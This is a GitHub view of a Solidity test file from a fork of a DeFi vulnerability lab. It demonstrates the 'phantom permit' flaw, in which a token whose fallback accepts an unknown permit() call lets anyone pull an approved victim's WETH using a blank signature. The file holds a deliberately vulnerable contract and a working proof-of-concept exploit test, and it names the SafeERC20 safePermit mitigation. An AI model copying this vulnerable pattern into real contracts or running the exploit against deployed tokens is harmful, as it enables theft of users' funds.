forked from SunWeb3Sec/DeFiVulnLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
phantom-permit.sol
158 lines (119 loc) · 4.64 KB
/
phantom-permit.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/*
Phantom function: Accepts any call to a function that it doesn't actually define, without reverting.
key:
1.Token that does not support EIP-2612 permit.
2.Token has a fallback function.
For example: WETH.
Mitigation
Use SafeERC20's safePermit - Revert on invalid signature.
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol#LL89C14-L89C24
*/
contract ContractTest is Test {
VulnPermit VulnPermitContract;
WETH9 WETH9Contract;
function setUp() public {
WETH9Contract = new WETH9();
VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));
}
function testVulnPhantomPermit() public {
address alice = vm.addr(1);
vm.deal(address(alice), 10 ether);
vm.startPrank(alice);
WETH9Contract.deposit{value:10 ether}();
WETH9Contract.approve(address(VulnPermitContract),type(uint256).max);
vm.stopPrank();
VulnPermitContract.depositWithPermit(address(alice),1000,27,0x0,0x0);
WETH9Contract.balanceOf(address(VulnPermitContract));
VulnPermitContract.withdraw(1000);
WETH9Contract.balanceOf(address(this));
}
receive() payable external{}
}
contract VulnPermit {
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) public {
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
}
function depositWithPermit(address target, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
(bool success,) = address(token).call(abi.encodeWithSignature("permit(address,uint256,uint8,bytes32,bytes32)", target, amount, v, r, s));
require(success, "Permit failed");
require(token.transferFrom(target, address(this), amount), "Transfer failed");
}
function withdraw(uint256 amount) public {
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
contract Permit {
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) public {
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
}
function depositWithPermit(address target, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
(bool success,) = address(token).call(abi.encodeWithSignature("permit(address,uint256,uint8,bytes32,bytes32)", target, amount, v, r, s));
require(success, "Permit failed");
require(token.transferFrom(target, address(this), amount), "Transfer failed");
}
function withdraw(uint256 amount) public {
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
fallback() external payable {
deposit();
}
receive() payable external{}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != type(uint128).max) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}